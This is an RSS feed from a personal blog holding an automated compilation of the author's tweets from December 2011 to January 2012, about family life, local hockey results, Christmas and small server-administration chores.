<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>David Goodwin</title>
	<atom:link href="http://codepoets.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://codepoets.co.uk</link>
	<description>PHP, running, family stuff, Bromsgrove and other bits</description>
	<lastBuildDate>Tue, 24 Jan 2012 11:20:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Automated twitter compilation up to 24 January 2012</title>
		<link>http://codepoets.co.uk/2012/automated-twitter-compilation-up-to-24-january-2012/</link>
		<comments>http://codepoets.co.uk/2012/automated-twitter-compilation-up-to-24-january-2012/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 04:30:34 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=483</guid>
		<description><![CDATA[Arbitrary tweets made by TheGingerDog (i.e. David Goodwin) up to 24 January 2012 A cache miss storm with WordPress and dotdeb.org&#8217;s config file overwriting led to a crap day for one website today. (2012/01/24, Bromsgrove, Worcestershire) Someone said I have a bad memory. I&#8217;m not sure who though. (2012/01/22, Bromsgrove, Worcestershire) Hockey: Bromsgrove 3xi 3:2 &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/automated-twitter-compilation-up-to-24-january-2012/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Arbitrary tweets made by <a href="http://twitter.com/TheGingerDog">TheGingerDog</a> (i.e. David Goodwin) up to 24 January 2012</p>
<p><span id="more-483"></span></p>
<ul>
<li>
<div class="tweet-text">A cache miss storm with WordPress and dotdeb.org&#8217;s config file overwriting led to a crap day for one website today.</div>
<div class="tweet-details">(2012/01/24, <a href="http://maps.google.com/maps?q=52.33775838,-2.05571269&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Someone said I have a bad memory. I&#8217;m not sure who though.</div>
<div class="tweet-details">(2012/01/22, <a href="http://maps.google.com/maps?q=52.35784538,-2.06444166&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Hockey: Bromsgrove 3xi 3:2 Old Sils. Another win <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ( cc <a href="http://twitter.com/bromsgrovehc">@bromsgrovehc</a> )</div>
<div class="tweet-details">(2012/01/21, <a href="http://maps.google.com/maps?q=52.30776556,-1.93288401&amp;iwloc=A&amp;hl=en">Redditch, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Oakley_J">@Oakley_J</a>: Scrap metal dealers take note: The value of the metal in a pound coin is currently £1.08. <a href="http://twitter.com/search?q=#madeupstaturday">#madeupstaturday</a></div>
<div class="tweet-details">(2012/01/21)</div>
</li>
<li>
<div class="tweet-text">&#8220;I want it to still be my birthday!&#8221; says Rowan.</div>
<div class="tweet-details">(2012/01/21, <a href="http://maps.google.com/maps?q=52.33782276,-2.05578433&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">&#8220;Thank you aunty candy &#8220;(<a href="http://twitter.com/moreteadoctor">@moreteadoctor</a> ) <a href="http://t.co/42XbcU6Q">t.co/42XbcU6Q</a></div>
<div class="tweet-details">(2012/01/20)</div>
</li>
<li>
<div class="tweet-text">Today I had to reboot my mouse to get &#8216;right click&#8217; working again. *sigh*. <a href="http://twitter.com/search?q=#apple">#apple</a> <a href="http://twitter.com/search?q=#magicMouse">#magicMouse</a></div>
<div class="tweet-details">(2012/01/19)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/AndrewBloch">@AndrewBloch</a>: The awkward moment when you break the law you proposed <a href="http://twitter.com/search?q=#StopSOPA">#StopSOPA</a> <a href="http://t.co/7M3lXZUs">t.co/7M3lXZUs</a></div>
<div class="tweet-details">(2012/01/18)</div>
</li>
<li>
<div class="tweet-text">I support <a href="http://twitter.com/search?q=#wikipediablackout">#wikipediablackout</a>! Show your support here <a href="http://t.co/SawEkEyn">t.co/SawEkEyn</a></div>
<div class="tweet-details">(2012/01/18)</div>
</li>
<li>
<div class="tweet-text">Grrrr, software update available for my telly (Sony Bravia) but it doesn&#8217;t seem to add Netflix support.</div>
<div class="tweet-details">(2012/01/16)</div>
</li>
<li>
<div class="tweet-text">Postfix &gt; 2.6.0 I needed : always_add_missing_headers = yes<br />
to fix missing message-id fields&#8230; shouldn&#8217;t assume all email has a message-id!</div>
<div class="tweet-details">(2012/01/16)</div>
</li>
<li>
<div class="tweet-text">&#8220;Monsters&#8221; 1&amp;2 are sound asleep, gently snoring. Now to look into that postfix problem for work.</div>
<div class="tweet-details">(2012/01/16, <a href="http://maps.google.com/maps?q=52.337722,-2.05591019&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/guardiantech">@guardiantech</a>: Toddlers get to grips with app design <a href="http://t.co/DOQBX1WE">t.co/DOQBX1WE</a></div>
<div class="tweet-details">(2012/01/16)</div>
</li>
<li>
<div class="tweet-text">Lesson of the day: elephant seals are strong swimmers and you shouldn&#8217;t invite them into your octopod.</div>
<div class="tweet-details">(2012/01/15, <a href="http://maps.google.com/maps?q=52.33800151,-2.05549174&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I&#8217;m wondering why so many people are walking down Bromsgrove high street when nothing is open.</div>
<div class="tweet-details">(2012/01/15, <a href="http://maps.google.com/maps?q=52.33615135,-2.06037378&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Hockey: Bromsgrove 3rd xi 4:3 Pershore. (cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a> )</div>
<div class="tweet-details">(2012/01/14, <a href="http://maps.google.com/maps?q=52.09879025,-1.93940952&amp;iwloc=A&amp;hl=en">Wychavon, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: It&#8217;s amazing how rubbish Orange sales people are on the phone. &#8220;it&#8217;s out of stock&#8230; Phone back tomorrow!&#8221;. <a href="http://twitter.com/search?q=#LostSale">#LostSale</a></div>
<div class="tweet-details">(2012/01/13)</div>
</li>
<li>
<div class="tweet-text">Seven Trent&#8217;s website conveniently 404s when you click on &#8220;contact details&#8221;. That&#8217;s one way to stop people phoning you!</div>
<div class="tweet-details">(2012/01/13, <a href="http://maps.google.com/maps?q=52.33765395,-2.05570289&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Evil Google &#8211; &#8220;Google, what were you thinking?&#8221; ← Mocality Kenya <a href="http://t.co/AzNPYJ3F">t.co/AzNPYJ3F</a> via <a href="http://twitter.com/mocality">@mocality</a></div>
<div class="tweet-details">(2012/01/13)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PierreJoye">@PierreJoye</a>: PHP 5.3.9 has been finally released! <a href="http://t.co/52GtIHgw">t.co/52GtIHgw</a> Go update, now! <a href="http://t.co/IHlXLCch">t.co/IHlXLCch</a> <a href="http://t.co/TNbRCEjV">t.co/TNbRCEjV</a></div>
<div class="tweet-details">(2012/01/11)</div>
</li>
<li>
<div class="tweet-text">Trying to figure out why someone thought sticking QR codes around a high street to advertise to consumers was a good idea.</div>
<div class="tweet-details">(2012/01/10, <a href="http://maps.google.com/maps?q=52.3351391,-2.06072775&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Ooh Bromsgrove has an electric vehicle charging point. Go us!</div>
<div class="tweet-details">(2012/01/10, <a href="http://maps.google.com/maps?q=52.33097127,-2.06584114&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">My hoover is really sucking after cleaning the filter. Now, if only I could banish Monday night&#8217;s insomnia&#8230;.</div>
<div class="tweet-details">(2012/01/10, <a href="http://maps.google.com/maps?q=52.33781362,-2.05571194&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/jasoncosta">@jasoncosta</a>: &#8220;Web server software NGINX is now bigger than Microsoft IIS&#8221; <a href="http://t.co/tq3Trc38">t.co/tq3Trc38</a></div>
<div class="tweet-details">(2012/01/08)</div>
</li>
<li>
<div class="tweet-text">Why I&#8217;m not going to Bungee jump, ever. <a href="http://t.co/kxoTwzvO">t.co/kxoTwzvO</a> (ropes break).</div>
<div class="tweet-details">(2012/01/08)</div>
</li>
<li>
<div class="tweet-text">It seems my little princess no longer needs carrying down stairs. Soon I&#8217;ll be redundant. <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </div>
<div class="tweet-details">(2012/01/08, <a href="http://maps.google.com/maps?q=52.33766006,-2.0554315&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">How can a four year old be so bad at hiding? Still, it makes my afternoon somewhat easier&#8230;..</div>
<div class="tweet-details">(2012/01/08, <a href="http://maps.google.com/maps?q=52.33775234,-2.05559949&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove 3xi 4:2(?) west brom. (friendly). Big thank-you to the stand ins &#8211; Nigel, Charlie, Graham &amp; Lawrence <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a> ).</div>
<div class="tweet-details">(2012/01/07, <a href="http://maps.google.com/maps?q=52.35784849,-2.06430756&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Today I&#8217;ve created a Gantt Chart with <a href="http://twitter.com/ganttproject">@ganttproject</a> &#8211; so far so good. <a href="http://twitter.com/search?q=#FunPackedLife">#FunPackedLife</a></div>
<div class="tweet-details">(2012/01/07)</div>
</li>
<li>
<div class="tweet-text">Have the humans delivered their ultimate cup of coffee? &#8230;. *ergh* FETID. How dare they present this to me? &#8230; Prepare the attack!</div>
<div class="tweet-details">(2012/01/07)</div>
</li>
<li>
<div class="tweet-text">Good morning octonauts.</div>
<div class="tweet-details">(2012/01/07, <a href="http://maps.google.com/maps?q=52.33776169,-2.05587176&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">It seems I wasn&#8217;t mistaken when I saw a car with a &#8220;real nappy cakes&#8221; advert on it the other day. Not my sort of cake.</div>
<div class="tweet-details">(2012/01/06, <a href="http://maps.google.com/maps?q=52.33768304,-2.05525338&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">This morning it seems that petrol stations are the place to have domestic disputes. Perhaps there&#8217;s something in the air.</div>
<div class="tweet-details">(2012/01/05, <a href="http://maps.google.com/maps?q=52.33903911,-2.05538559&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/brucel">@brucel</a>: Facebook cited in over 2/3 of US divorce cases and 1/3 in the UK <a href="http://t.co/gcNZ5Yyj">t.co/gcNZ5Yyj</a> via <a href="http://twitter.com/stoweboyd">@stoweboyd</a></div>
<div class="tweet-details">(2012/01/02)</div>
</li>
<li>
<div class="tweet-text">Eat all your dinner or the octopod goes away&#8230;..</div>
<div class="tweet-details">(2012/01/02, <a href="http://maps.google.com/maps?q=52.3376188,-2.05550566&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Happy new year. Wishing you the best of health, wealth and happiness for 2012. (cue 101 SMS&#8217;s to ppl and one (cheap) message on twitter)</div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">Me: &#8220;we need to go into town to look for a present for grandma&#8221;<br />
Rowan: &#8220;can we get her an octopod like mine?&#8221;<br />
<a href="http://twitter.com/search?q=#octonautitis">#octonautitis</a></div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/snim2">@snim2</a>: Brilliant read &#8211; the state of UK trains: <a href="http://t.co/pbEYLG1N">t.co/pbEYLG1N</a> /via <a href="http://twitter.com/pigworker">@pigworker</a></div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">Perl PHP python bash <a href="http://twitter.com/search?q=#code2011">#code2011</a></div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/deadprogram">@deadprogram</a>: What programming languages have you used this year? Tweet using <a href="http://twitter.com/search?q=#code2011">#code2011</a>. Please do it, and RT!</div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">Cheese: yummy. Bread: yummy. Cheese and bread together: yucky. <a href="http://twitter.com/search?q=#kids">#kids</a></div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/vuokko">@vuokko</a>: new year&#8217;s resolutions: 640 x 480, 800 x 600, 1024 x 768</div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">The Gup A loaded with treasure&#8230;. <a href="http://t.co/ffVflF1v">t.co/ffVflF1v</a></div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">I love my children &#8211; they pick up their chocolate coins, peel off the foil and force me to eat them.</div>
<div class="tweet-details">(2011/12/31)</div>
</li>
<li>
<div class="tweet-text">Sofa constructed. Now to find somewhere to dispose of the massive cardboard box.</div>
<div class="tweet-details">(2011/12/29)</div>
</li>
<li>
<div class="tweet-text">Ikea. It&#8217;s stressful.</div>
<div class="tweet-details">(2011/12/27)</div>
</li>
<li>
<div class="tweet-text">This morning&#8217;s run might be a bit slower than recent ones. <a href="http://twitter.com/search?q=#biscuits">#biscuits</a> <a href="http://twitter.com/search?q=#cheese">#cheese</a> <a href="http://twitter.com/search?q=#turkey">#turkey</a> <a href="http://twitter.com/search?q=#chocolate">#chocolate</a> etc.</div>
<div class="tweet-details">(2011/12/27)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/anya_goodwin">@anya_goodwin</a>: The Gruffalo&#8217;s child is the best TV program ever. I can&#8217;t stop laughing and pointing!</div>
<div class="tweet-details">(2011/12/26)</div>
</li>
<li>
<div class="tweet-text">Q. What&#8217;s green and bounces around the garden?<br />
A. A spring onion.</div>
<div class="tweet-details">(2011/12/26, <a href="http://maps.google.com/maps?q=52.33615946,-2.05950456&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Q. Why don&#8217;t elephants like penguins?<br />
A. They can&#8217;t get the wrappers off.</div>
<div class="tweet-details">(2011/12/26, <a href="http://maps.google.com/maps?q=52.33615946,-2.05950456&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Lovefilm&#8217;s online streaming really is pants (rubbish selection). I&#8217;m glad I&#8217;m on a free trial. <a href="http://twitter.com/search?q=#DefinitelyCancelling">#DefinitelyCancelling</a></div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">Right now, at the North Pole, Santa is drinking this after a hard nights work. (Santa&#8217;s Swallie, via <a href="http://twitter.com/myBrewerytap">@myBrewerytap</a> ) <a href="http://t.co/4WPjgcJK">t.co/4WPjgcJK</a></div>
<div class="tweet-details">(2011/12/25, <a href="http://maps.google.com/maps?q=52.33774799,-2.05586609&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">It&#8217;ll soon be time to put on the new socks and jumper and ride around on the new bicycle. <a href="http://twitter.com/search?q=#somethingsDoNotChange">#somethingsDoNotChange</a>.</div>
<div class="tweet-details">(2011/12/25, <a href="http://maps.google.com/maps?q=52.35012053,-2.05806314&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/moreteadoctor">@moreteadoctor</a>: Mug, brain cell and MRSA. Is my brother hinting at something?</div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/moreteadoctor">@moreteadoctor</a>: Thought I&#8217;d been given a lump of poo for Christmas, then I realised it was MRSA. How festive! <a href="http://t.co/mwS2lVAa">t.co/mwS2lVAa</a></div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">Oooh. The Gruffalo&#8217;s Child is on BBC1 today. BBC++</div>
<div class="tweet-details">(2011/12/25, <a href="http://maps.google.com/maps?q=52.34443502,-2.06865248&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Seeing as it&#8217;s a blizzard outside and I&#8217;ve got a marathon to walk today, I&#8217;d better fuel myself accordingly &#8230; chocolate for breakfast.</div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">Christmas &#8211; when it&#8217;s apparently acceptable to smell as if you&#8217;ve washed in mulled wine (thank you <a href="http://twitter.com/MoreTeaDoctor">@MoreTeaDoctor</a>)</div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/neiltyson">@neiltyson</a>: According to the song, Rudolph&#8217;s nose is shiny, which means it reflects rather than emits light. Useless for navigating fog.</div>
<div class="tweet-details">(2011/12/25)</div>
</li>
<li>
<div class="tweet-text">Cheap ploy to wake someone up on Xmas morning &#8211; send a text saying it&#8217;s snowed. <a href="http://twitter.com/search?q=#snow">#snow</a> <a href="http://twitter.com/search?q=#Xmas">#Xmas</a></div>
<div class="tweet-details">(2011/12/25, <a href="http://maps.google.com/maps?q=52.33752568,-2.05555511&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Nom nom. Turrón for breakfast. <a href="http://twitter.com/search?q=#chocolate">#chocolate</a> <a href="http://twitter.com/search?q=#pig">#pig</a></div>
<div class="tweet-details">(2011/12/24, <a href="http://maps.google.com/maps?q=52.33785392,-2.05591797&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/StormySan">@StormySan</a>: Hi think <a href="http://twitter.com/thegingerdog">@thegingerdog</a>&#8216;s present didn&#8217;t turn out too badly <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://t.co/9Q9XkkY7">t.co/9Q9XkkY7</a></div>
<div class="tweet-details">(2011/12/23)</div>
</li>
<li>
<div class="tweet-text">I think it&#8217;s time to arrange a GoKarting event for <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a> and some hangers on for early Jan 2012.</div>
<div class="tweet-details">(2011/12/23)</div>
</li>
<li>
<div class="tweet-text">Today is time to panic that you do not have enough presents to give; thankfully(!) Bromsgrove is crap for shopping so it&#8217;s too late to fix.</div>
<div class="tweet-details">(2011/12/23)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/_Victoria_T">@_Victoria_T</a>: Urgently seeking <a href="http://twitter.com/search?q=#PHP">#PHP</a> <a href="http://twitter.com/search?q=#Developer">#Developer</a> for permanent position based in <a href="http://twitter.com/search?q=#West">#West</a> <a href="http://twitter.com/search?q=#Midlands">#Midlands</a> please pass my details to anyone looki &#8230;</div>
<div class="tweet-details">(2011/12/23)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/oziesimmons">@oziesimmons</a>: Xerox is on a list of pro-SOPA corporations. Let the irony of that one sink in for a bit. <a href="http://twitter.com/search?q=#copythis">#copythis</a></div>
<div class="tweet-details">(2011/12/23)</div>
</li>
<li>
<div class="tweet-text">DANGER &#8211; The supermarkets will soon be shut for ONE DAY! Remember to stock up on the essentials (chocolate, sweets, cheese, wine, nibbles).</div>
<div class="tweet-details">(2011/12/22)</div>
</li>
<li>
<div class="tweet-text">Now to preempt excessive eating by excessive exercise (10km+ run, Stourbridge rd). It&#8217;s a shame our customers for trying to fatten us up&#8230;</div>
<div class="tweet-details">(2011/12/22, <a href="http://maps.google.com/maps?q=52.33787767,-2.05524637&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Hopefully the antibiotics will help <a href="http://twitter.com/rowangoodwin">@rowangoodwin</a> feel somewhat better over xmas <a href="http://twitter.com/search?q=#earInfection">#earInfection</a> <a href="http://twitter.com/search?q=#crossingFingersAndToes">#crossingFingersAndToes</a></div>
<div class="tweet-details">(2011/12/22)</div>
</li>
<li>
<div class="tweet-text">Only 16 new answer-phone messages on my mobile. Oops.</div>
<div class="tweet-details">(2011/12/20, <a href="http://maps.google.com/maps?q=52.33794606,-2.05512408&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I think the chainsaw and pneumatic drill have succeeded in their evil quest. I am now awake.</div>
<div class="tweet-details">(2011/12/20, <a href="http://maps.google.com/maps?q=52.33796051,-2.05580245&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Great karting with MrKarting (nr Leamington spa).<br />
I was 4th :-/ cold fingers and toes and tired wrists&#8230;. Thanks <a href="http://twitter.com/ukscores">@ukscores</a></div>
<div class="tweet-details">(2011/12/19, <a href="http://maps.google.com/maps?q=52.23673123,-1.46283566&amp;iwloc=A&amp;hl=en">Stratford-on-Avon, Warwickshire</a>)</div>
</li>
<li>
<div class="tweet-text">It&#8217;s raining (lightly) and the roads are frozen. Weeeeeeeee&#8230;.</div>
<div class="tweet-details">(2011/12/19, <a href="http://maps.google.com/maps?q=52.34349817,-2.06099945&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Server migration complete. That seems to have taken up half of today. :-/</div>
<div class="tweet-details">(2011/12/19, <a href="http://maps.google.com/maps?q=52.34349817,-2.06099945&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Excellent. Another <a href="http://twitter.com/mybrewerytap">@mybrewerytap</a> box has arrived. Now, do I share it with my<br />
employees &#8230;.</div>
<div class="tweet-details">(2011/12/18, <a href="http://maps.google.com/maps?q=52.33947945,-2.05565908&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Shortcut found to work. It&#8217;s now ~2 minutes walk away <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/12/18, <a href="http://maps.google.com/maps?q=52.33924467,-2.05542447&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">&#8220;do you wont a window cleaner&#8221; &#8230; <a href="http://twitter.com/search?q=#Bromsgrove">#Bromsgrove</a> <a href="http://twitter.com/search?q=#fail">#fail</a> <a href="http://t.co/9gOeXzkr">t.co/9gOeXzkr</a></div>
<div class="tweet-details">(2011/12/18, <a href="http://maps.google.com/maps?q=52.33924467,-2.05542447&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Get a free Xperia™ arc S for Christmas :: Anorak News <a href="http://t.co/wunx5MJu">t.co/wunx5MJu</a> via <a href="http://twitter.com/TheAnorak">@TheAnorak</a> <a href="http://twitter.com/search?q=#competition">#competition</a></div>
<div class="tweet-details">(2011/12/18)</div>
</li>
<li>
<div class="tweet-text">It&#8217;s time for the country to grind to a halt. Killer snow pandemic !! <a href="http://t.co/eYo2Nay9">t.co/eYo2Nay9</a></div>
<div class="tweet-details">(2011/12/16, <a href="http://maps.google.com/maps?q=51.61554157,-0.17997395&amp;iwloc=A&amp;hl=en">Barnet, London</a>)</div>
</li>
<li>
<div class="tweet-text">Today: spectrum, micro, kvstore and eclipse+xdebug (#BBC training). After a nearly 2 year break my brain has refound some useful memories.</div>
<div class="tweet-details">(2011/12/15, <a href="http://maps.google.com/maps?q=51.62552746,-0.17616834&amp;iwloc=A&amp;hl=en">Barnet, London</a>)</div>
</li>
<li>
<div class="tweet-text">I think if you&#8217;re running speed is only a little faster than my walking speed, then you&#8217;re doing something wrong.</div>
<div class="tweet-details">(2011/12/15)</div>
</li>
<li>
<div class="tweet-text">Why do I have trouble sleeping every Monday night ?</div>
<div class="tweet-details">(2011/12/13, <a href="http://maps.google.com/maps?q=52.33728172,-2.05520027&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">After seeing the weather alerts on BBC news I&#8217;m wondering if parking my car under a tree was the best idea &#8230; <a href="http://twitter.com/search?q=#NotSureWhereElseItCanGo">#NotSureWhereElseItCanGo</a>.</div>
<div class="tweet-details">(2011/12/13, <a href="http://maps.google.com/maps?q=52.33775344,-2.05586927&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Ooh. New release of wordpress (v3.3). It&#8217;ll be time to upgrade tomorrow. Thanks for the Xmas present <a href="http://twitter.com/wordpress">@wordpress</a> !</div>
<div class="tweet-details">(2011/12/13, <a href="http://maps.google.com/maps?q=52.33808918,-2.05592209&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Jeez mobile internet is so slow without 3G. How did we survive on dialup? And in 10 years time what will we deem &#8216;horribly slow&#8217; &#8211; 5mbit?</div>
<div class="tweet-details">(2011/12/13, <a href="http://maps.google.com/maps?q=52.33778881,-2.05583788&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">House move complete. It took ~5 hours.</div>
<div class="tweet-details">(2011/12/12, <a href="http://maps.google.com/maps?q=52.33626927,-2.05892058&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/mikko">@mikko</a>: Oops. Maybe nobody will notice. <a href="http://t.co/QTXos25N">t.co/QTXos25N</a><br />
/pic via <a href="http://twitter.com/Forensication">@Forensication</a></div>
<div class="tweet-details">(2011/12/11)</div>
</li>
<li>
<div class="tweet-text">Oh, <a href="http://twitter.com/search?q=#NewTwitter">#NewTwitter</a>&#8230; again&#8230;. meh.</div>
<div class="tweet-details">(2011/12/11)</div>
</li>
<li>
<div class="tweet-text">&#8220;Give blood. Play hockey&#8221;. Says the T-shirt I&#8217;ve won via <a href="http://twitter.com/bromsgrovehc">@bromsgrovehc</a>&#8216;s raffle.</div>
<div class="tweet-details">(2011/12/11, <a href="http://maps.google.com/maps?q=52.34750951,-2.05888821&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove iix 5-4 vs Kidderminster iix. (friendly). <a href="http://twitter.com/search?q=#hockey">#hockey</a> (cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a> )</div>
<div class="tweet-details">(2011/12/10, <a href="http://maps.google.com/maps?q=52.30781278,-1.93242796&amp;iwloc=A&amp;hl=en">Redditch, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Mutter mutter health and safety bollocks mutter mutter. (now to hope I don&#8217;t get injured on said icy pitch)</div>
<div class="tweet-details">(2011/12/10, <a href="http://maps.google.com/maps?q=52.33862638,-2.05785748&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Typical! I&#8217;m back in Bromsgrove and get a phone call of &#8220;Kidderminster are pissed off re cancellation &amp; want a friendly&#8221; Back to redditch&#8230;</div>
<div class="tweet-details">(2011/12/10, <a href="http://maps.google.com/maps?q=52.34755861,-2.05883294&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Stupid all weather AstroTurf pitch is out of action due to frost. No hockey today <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  <a href="http://twitter.com/search?q=#Bromsgrove">#Bromsgrove</a></div>
<div class="tweet-details">(2011/12/10, <a href="http://maps.google.com/maps?q=52.34755248,-2.05895136&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
